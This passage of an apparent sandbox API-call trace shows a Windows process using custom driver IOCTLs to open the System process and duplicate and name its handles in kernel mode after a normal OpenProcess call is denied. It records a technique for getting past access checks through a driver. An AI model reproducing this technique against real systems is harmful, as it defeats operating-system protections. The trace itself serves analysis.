DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa8002449340*=0xc8) returned 0x0 [0129.962] ZwClose (Handle=0xffffffff80000c14) returned 0x0 [0129.962] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.962] CloseHandle (hObject=0xc0) returned 1 [0129.962] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.962] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x78) returned 0x1b4c50 [0129.962] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.962] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.962] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.962] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.962] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.962] PsAcquireProcessExitSynchronization () returned 0x0 [0129.962] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.962] ObReferenceObjectByHandle (in: Handle=0xffffffff80000424, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031f4990, HandleInformation=0x0) returned 0x0 [0129.962] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.962] PsReleaseProcessExitSynchronization () returned 0x2 [0129.962] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.962] ObQueryNameString (in: Object=0xfffffa80031f4990, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.962] ObfDereferenceObject (Object=0xfffffa80031f4990) returned 0x5 [0129.962] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.962] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.962] CloseHandle (hObject=0xc8) returned 1 [0129.963] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0129.963] GetLastError () returned 0x5 [0129.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0129.963] ZwOpenProcess (in: ProcessHandle=0xfffffa8002449340, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88005000688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88005000678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa8002449340*=0xc8) returned 0x0 [0129.963] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0129.963] ZwOpenProcess (in: ProcessHandle=0xfffff880050005f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88005000608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880050005f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880050005f0*=0xffffffff80000c14) returned 0x0 [0129.963] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000c14, SourceHandle=0x420, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa8002449340, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa8002449340*=0xc0) returned 0x0 [0129.963] ZwClose (Handle=0xffffffff80000c14) returned 0x0 [0129.963] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.963] CloseHandle (hObject=0xc8) returned 1 [0129.963] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.963] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x78) returned 0x1ceb50 [0129.963] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1ceb50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1ceb50, ReturnLength=0x0) returned 0x0 [0129.963] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ceb50 | out: hHeap=0x190000) returned 1 [0129.963] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.963] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.963] PsAcquireProcessExitSynchronization () returned 0x0 [0129.963] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.963] ObReferenceObjectByHandle (in: Handle=0xffffffff80000420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800dbffad0, HandleInformation=0x0) returned 0x0 [0129.963] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.963] PsReleaseProcessExitSynchronization () returned 0x2 [0129.963] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.963] ObQueryNameString (in: Object=0xfffffa800dbffad0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.963] ObfDereferenceObject (Object=0xfffffa800dbffad0) returned 0x3 [0129.963] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.964] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.964] CloseHandle (hObject=0xc0) returned 1 [0129.964] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0129.964] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.964] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0129.964] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.964] PsAcquireProcessExitSynchronization () returned 0x0 [0129.965] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.965] ObReferenceObjectByHandle (in: Handle=0xffffffff8000004c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002af2460, HandleInformation=0x0) returned 0x0 [0129.965] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.965] PsReleaseProcessExitSynchronization () returned 0x2 [0129.965] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.965] ObQueryNameString (in: Object=0xfffffa8002af2460, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.965] ObfDereferenceObject (Object=0xfffffa8002af2460) returned 0x1 [0129.965] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.965] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.965] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.965] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.965] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.965] PsAcquireProcessExitSynchronization () returned 0x0 [0129.965] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.965] ObReferenceObjectByHandle (in: Handle=0xffffffff80000054, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002a567a0, HandleInformation=0x0) returned 0x0 [0129.965] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.965] PsReleaseProcessExitSynchronization () returned 0x2 [0129.965] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.965] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0129.965] ObfDereferenceObject (Object=0xfffffa8002a567a0) returned 0x1 [0129.966] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.966] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.966] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.966] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.966] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.966] PsAcquireProcessExitSynchronization () returned 0x0 [0129.966] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.966] ObReferenceObjectByHandle (in: Handle=0xffffffff80000060, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002c52f20, HandleInformation=0x0) returned 0x0 [0129.966] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.966] PsReleaseProcessExitSynchronization () returned 0x2 [0129.966] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.966] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.966] ObfDereferenceObject (Object=0xfffffa8002c52f20) returned 0x1 [0129.966] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.966] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.966] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.966] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.966] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.966] PsAcquireProcessExitSynchronization () returned 0x0 [0129.966] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.966] ObReferenceObjectByHandle (in: Handle=0xffffffff80000064, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002fc0050, HandleInformation=0x0) returned 0x0 [0129.966] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.966] PsReleaseProcessExitSynchronization () returned 0x2 [0129.966] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.966] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.966] ObfDereferenceObject (Object=0xfffffa8002fc0050) returned 0x1 [0129.966] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.966] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.966] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.966] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.966] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.966] PsAcquireProcessExitSynchronization () returned 0x0 [0129.967] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.967] ObReferenceObjectByHandle (in: Handle=0xffffffff80000068, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8004599f20, HandleInformation=0x0) returned 0x0 [0129.967] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.967] PsReleaseProcessExitSynchronization () returned 0x2 [0129.967] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.967] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0129.967] ObfDereferenceObject (Object=0xfffffa8004599f20) returned 0x1 [0129.967] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.967] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.967] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.967] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.967] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.967] PsAcquireProcessExitSynchronization () returned 0x0 [0129.967] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.967] ObReferenceObjectByHandle (in: Handle=0xffffffff8000006c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8005049050, HandleInformation=0x0) returned 0x0 [0129.967] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.967] PsReleaseProcessExitSynchronization () returned 0x2 [0129.967] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.967] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0129.967] ObfDereferenceObject (Object=0xfffffa8005049050) returned 0x1 [0129.967] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.967] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.967] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.967] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.967] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.967] PsAcquireProcessExitSynchronization () returned 0x0 [0129.967] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.967] ObReferenceObjectByHandle (in: Handle=0xffffffff80000070, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8005bfa050, HandleInformation=0x0) returned 0x0 [0129.967] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.967] PsReleaseProcessExitSynchronization () returned 0x2 [0129.967] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.967] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.967] ObfDereferenceObject (Object=0xfffffa8005bfa050) returned 0x1 [0129.968] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.968] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.968] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.968] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.968] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.968] PsAcquireProcessExitSynchronization () returned 0x0 [0129.968] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.968] ObReferenceObjectByHandle (in: Handle=0xffffffff80000074, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80053d87a0, HandleInformation=0x0) returned 0x0 [0129.968] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.968] PsReleaseProcessExitSynchronization () returned 0x2 [0129.968] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.968] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.968] ObfDereferenceObject (Object=0xfffffa80053d87a0) returned 0x1 [0129.968] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.968] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.968] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.968] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.968] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.968] PsAcquireProcessExitSynchronization () returned 0x0 [0129.968] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.968] ObReferenceObjectByHandle (in: Handle=0xffffffff80000078, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8005ffb1f0, HandleInformation=0x0) returned 0x0 [0129.968] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.968] PsReleaseProcessExitSynchronization () returned 0x2 [0129.968] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.968] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005000508) returned 0x0 [0129.968] ObfDereferenceObject (Object=0xfffffa8005ffb1f0) returned 0x1 [0129.968] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.968] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.968] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.968] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.968] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.968] PsAcquireProcessExitSynchronization () returned 0x0 [0129.968] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.968] ObReferenceObjectByHandle (in: Handle=0xffffffff8000007c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80067fbf20, HandleInformation=0x0) returned 0x0 [0129.968] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.969] PsReleaseProcessExitSynchronization () returned 0x2 [0129.969] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.969] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000508) returned 0x0 [0129.969] ObfDereferenceObject (Object=0xfffffa80067fbf20) returned 0x1 [0129.969] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.969] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.969] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0129.969] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.969] PsAcquireProcessExitSynchronization () returned 0x0 [0129.969] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.969] ObReferenceObjectByHandle (in: Handle=0xffffffff80000080, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8005ffe470, HandleInformation=0x0) returned 0x0 [0129.969] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.969] PsReleaseProcessExitSynchronization () returned 0x2 [0129.969] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.969] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0129.969] ObfDereferenceObject (Object=0xfffffa8005ffe470) returned 0x1 [0129.969] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.969] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.969] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, 